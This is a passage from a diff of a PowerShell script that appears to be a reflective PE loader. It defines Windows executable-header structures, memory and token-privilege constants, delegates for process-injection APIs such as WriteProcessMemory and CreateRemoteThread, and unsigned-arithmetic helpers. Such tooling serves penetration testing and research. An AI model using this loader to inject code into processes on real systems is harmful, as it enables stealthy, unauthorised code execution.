'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + return $Win32Functions + } + ##################################### - ##################################### - ########### HELPERS ############ - ##################################### - - #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function - #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses - Function Sub-SignedIntAsUnsigned - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Int64] - $Value1, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $Value2 - ) - - [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) - [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) - [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) - - if ($Value1Bytes.Count -eq $Value2Bytes.Count) - { - $CarryOver = 0 - for ($i = 0; $i -lt $Value1Bytes.Count; $i++) - { - $Val = $Value1Bytes[$i] - $CarryOver - #Sub bytes - if ($Val -lt $Value2Bytes[$i]) - { - $Val += 256 - $CarryOver = 1 - } - else - { - $CarryOver = 0 - } + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } - [UInt16]$Sum = $Val - $Value2Bytes[$i] - - $FinalBytes[$i] = $Sum -band 0x00FF - } - } - else - { - Throw "Cannot subtract bytearrays of different sizes" - } - - return [BitConverter]::ToInt64($FinalBytes, 0) - } + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } - Function Add-SignedIntAsUnsigned - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Int64] - $Value1, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $Value2 - ) - - [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) - [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) - [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) - - if ($Value1Bytes.Count -eq $Value2Bytes.Count) - { - $CarryOver = 0 - for ($i = 0; $i -lt $Value1Bytes.Count; $i++) - { - #Add bytes - [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver - - $FinalBytes[$i] = $Sum -band 0x00FF + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF - if (($Sum -band 0xFF00) -eq 0x100) - { - $CarryOver = 1 - } - else - { - $CarryOver = 0 - } - } - } - else - { - Throw "Cannot add bytearrays of different sizes" - } - - return [BitConverter]::ToInt64($FinalBytes, 0) - } + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } - Function Compare-Val1GreaterThanVal2AsUInt - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Int64] - $Value1, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $Value2 - ) - - [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) - [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) - - if ($Value1Bytes.Count -eq $Value2Bytes.Count) - { - for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) - { - if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) - { - return $true - } - elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) - { - return $false - } - } - } - else - { - Throw "Cannot compare byte arrays of different size" - } - - return $false - } + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } - Function Convert-UIntToInt - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [UInt64] - $Value - ) - - [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) - return ([BitConverter]::ToInt64($ValueBytes, 0)) - } + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } - Function Test-MemoryRangeValid - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [String] - $DebugString, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 2, Mandatory = $true)] - [IntPtr] - $StartAddress, - - [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] - [IntPtr] - $EndAddress, - - [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] - [IntPtr] - $Size - ) - - [IntPtr]$FinalEndAddress = [IntPtr]::Zero - if ($PsCmdlet.ParameterSetName -eq "Size") - { - [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) - } - else - { - $FinalEndAddress = $EndAddress - } - - $PEEndAddress = $PEInfo.EndAddress - - if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) - { - Throw "Trying to write to memory smaller than allocated address range. $DebugString" - } - if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) - { - Throw "Trying to write to memory greater than allocated address range. $DebugString" - } - } + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] + [IntPtr] + $EndAddress, + + 